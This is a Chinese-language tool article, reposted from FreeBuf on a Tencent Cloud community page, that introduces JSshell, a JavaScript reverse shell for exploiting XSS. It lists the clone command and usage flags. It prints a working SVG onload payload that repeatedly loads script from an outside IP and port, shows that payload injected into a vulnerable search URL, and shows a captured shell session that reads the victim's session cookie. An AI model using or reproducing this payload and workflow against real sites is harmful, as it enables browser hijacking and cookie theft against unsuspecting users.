前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JSshell:一款针对XSS漏洞的JavaScript反向Shell

JSshell:一款针对XSS漏洞的JavaScript反向Shell

作者头像
FB客服
发布2020-07-09 17:19:40
1.3K0
发布2020-07-09 17:19:40
举报
文章被收录于专栏:FreeBuf

JSshell是一个JavaScript反向Shell工具,该工具可以帮助广大研究人员远程利用XSS漏洞或扫描并发现XSS盲注漏洞。当前版本的JSshell支持在Unix和Windows操作系统上运行,并且同时支持Python2和Python3。跟JShell(一款由s0med3v开发的通过XSS漏洞获取JavaScript反向Shell的工具)相比,这是一个非常大的更新,而且JSshell还不需要Netcat的支持,这一点跟其他的JavaScript Shell也有很大的区别。

工具下载

广大研究人员可以使用下列命令将JSshell项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/shelld3v/JSshell.git

工具使用

生成JS反向Shell Payload:-g

设置本地端口号,用于监听和生成Payload(默认设置为4848):-p

设置本地源地址,用于生成Payload(JSshell默认将使用设备IP地址):-s

设置shell连接的超时时长,如果用户退出页面,shell将会暂停,如果设置了超时时长,那么在一段时间无响应之后,shell将会自动关闭:-w

拿到Shell之后,执行命令:-c

快速使用样例

代码语言:javascript
复制
js.pyjs.py -gjs.py -p 1234js.py -s 48.586.1.23 -gjs.py -c "alert(document.cookie)" -w 10

JSshell运行样例

接下来,我们将给大家演示如何一步一步使用JSshell来利用XSS漏洞。

首先,我们将生成一个反向JS Shell Payload,并设置shell超时时长为20秒:

代码语言:javascript
复制
~# whoamiroot~# lsREADME.md   js.py~# python3 js.py -g -w 20 __|(_  _ |_  _  |  |\_|__)_> | |(/_ |  |v1.0Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>Listening on [any] 4848 for incoming JS shell ...

接下来,将生成的Payload拷贝到存在XSS漏洞的网站(或URL)中:

代码语言:javascript
复制
[https://vulnwebs1te.com/b/search?q=](https://vulnwebs1te.com/b/search?q=)<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>

访问目标页面,接下来我们将看到已经成功拿到了反向JS Shell:

代码语言:javascript
复制
__|(_  _ |_  _  |  |\_|__)_> | |(/_ |  |v1.0Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>Listening on [any] 4848 for incoming JS shell ...Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848$ established$ the$ shell$$$ helpJSshell using javascript code as shell commands. Also supports some commands:help                  This helpexit, quit            Exit the JS shell$

现在,我们就可以执行某些命令了:

代码语言:javascript
复制
$ var test = 'hacked'$ alert(hacked)$

运行之后,浏览器将弹出一个警告信息:hacked

代码语言:javascript
复制
$ prompt(document.cookie)$

浏览器将会打印出用户Cookie信息:

代码语言:javascript
复制
JSESSION=3bda8...$ exit~# whoamiroot~# pwd/home/shelld3v~#

项目地址

JSshell:https://github.com/shelld3v/JSshell

*本文作者:Alpha_h4ck,来自FreeBuf.COM

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具下载
  • 工具使用
  • 快速使用样例
  • JSshell运行样例
  • 项目地址
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档